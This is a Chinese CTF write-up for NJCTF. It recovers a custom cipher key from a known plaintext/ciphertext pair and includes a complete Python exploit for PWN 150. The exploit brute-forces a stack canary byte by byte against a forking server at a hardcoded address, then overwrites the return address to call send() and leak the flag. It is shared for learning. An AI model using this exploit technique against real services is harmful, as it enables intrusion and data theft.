NJCTF

今年有幸跟着大佬们参加了NJCTF(当然个人贡献肯定为0啦大佬们做的太快了QvQ),在wp出来之前先记录一下自己做了的.

Misc 150pt

这一题拿到就发现有四个文件:

  • cipher.txt
  • encrypt.c
  • flag.txt
  • plain.txt
    其中会发现,plain.txt里面写了一堆明文:
1
2
3
Relax!This is just a test!
NJCTF{N0_WH4t_TH3He11_ExE}
Oh,shit!!Did I release the flag?!!!

肯定就不是flag啦!发现flag.txt,cipher.txt里面的文本为乱码,其中cipher.txt用winhex查看后发现正好字数和plain.txt一样,所以可以猜测使用了encrypt.c加密过。这个文件里面内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
if (argc != 3) {
printf("USAGE: %s input_file output_file\n", argv[0]);
return 0;
}
FILE* input_file = fopen(argv[1], "rb");
FILE* output_file = fopen(argv[2], "wb");
if (!input_file || !output_file) {
printf("Error\n");
return 0;
}
char key[] = "XXXXXXXXXXXX";
char p, t, c = 0;
int i = 0;
while ((p = fgetc(input_file)) != EOF) {
c = ((key[i % strlen(key)] ^ t) + (p-t) + i*i ) & 0xff;
t = p;
i++;
fputc(c, output_file);
}
return 0;
}

果然key没有告诉。所以这里只需要我们将plain.txt和cipher.txt进行运算将key求出来,最后再将flag.txt解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    char key[90] ;
char p, q, c = 0;
int i = 0;
while ((p = fgetc(plain_file)) != EOF) {
q = fgetc(cypher_file);
// c = ((key[i % strlen(key)] ^ t) + (p-t) + i*i ) & 0xff;
key[i] = (q - i*i + c - p)^c;
c = p;
i++;
}
printf("%s\n", key);

//------------------以上求key--------------------------
char key[] = "OKIWILLLETYOUKNOWWHATTHEKEYIS";
char p, t, c = 0;
int i = 0;
while ((c = fgetc(input_file)) != EOF) {
p = (c - ((key[i % strlen(key)] ^ t) - p + i*i )) & 0xff;
t = p;
i++;
fputc(p, output_file);
}

求得key为NJCTF{N0w_You90t_Th1sC4s3}(不知道是不是对的。。因为有几个地方乱码了)

PWN 100pt

发现没有给文件!居然是个盲注!

这个第一次玩啊。。。这里问了大佬,大佬说用暴力破解的方式找到对应的access code,发现是22,然后输入22后变成

这就有意思了。。然而这个echo *,发现目录下的确是有一个flag,但是怎么读取就想不到了。。。

PWN 150pt

分析后发现,这个居然是把这道题目完整的代码(包括网络通信部分)给出来了:

然后仔细看黄色标注的部分,我们在接受到数据之后,会fork一个进程(不然其他人的就卡死了呀)

仔细看黄色部分,父进程是一直在保留的。我们复习一下啊fork的过程:

当fork的时候,子进程得到与父进程用户级虚拟地址空间**相同**(但是独立的)的拷贝,包括文本,数据和bss段、堆以及用户栈。子进程还会获得与父进程任何打开文件描述符相同的拷贝。

也就是说,此时的栈空间中的数据可以理解成是不变的。然后在recv_message函数中,可以找到溢出

但是开启了canary。。。本来可能真的要放弃,但是!我们刚刚提到了,父进程一直在跑,那么就可以理解成栈中的数据在始终还是维持不变的,那么我们就能够通过猜测canary的方式,把canary本身猜测出来。加上在代码开始(截图中没截出来),就发生了一次打开flag.txt并读取数据的操纵。那么我们就能够通过修改send函数的参数,从而拿到flag。
由于虚拟机炸了,没有强力pwntools的我和咸鱼一样了。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import socket
import telnetlib
import struct
import time

url = "218.2.197.234"
port = 2090
# url = "127.0.0.1"
# port = 5555
canary = [0, 16, 234, 76, 161, 17, 196, 184]
send_addr = b'\xC6\x0B\x40\x00\x00\x00\x00\x00'

def findCanary():

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t = telnetlib.Telnet(url, port = 2090)
s.connect(("218.2.197.234", 2090))
t.sock = s
# print(s.recv(1024))
s.recv(1024)
canary = []
while len(canary)<8:
for x in range(0,256):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t = telnetlib.Telnet(url, port = 2090)
s.connect(("218.2.197.234", 2090))
t.sock = s
print(s.recv(1024))
t.write(b"a"*104 +bytes(canary + [x]))
if "Message received!" in s.recv(1024).decode("utf-8"):
print("[+] x is %d"%(x))
canary.append(x)
break
print(canary)


def pwn():

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t = telnetlib.Telnet(url, port)
s.connect((url, port))
t.sock = s
print(s.recv(1024))
# s.recv(1024)

# =============== padding =================
t.write(b"a"*104+bytes(canary) + b'a'*8 + send_addr)
time.sleep(2)
# t.interact()
print(s.recv(1024))
if __name__ == '__main__':
# findCanary()
pwn()

最后拿到flag:
NJCTF{C4n4ry_15_s0_vuln3ri4613_49457_bru73-f0rc3}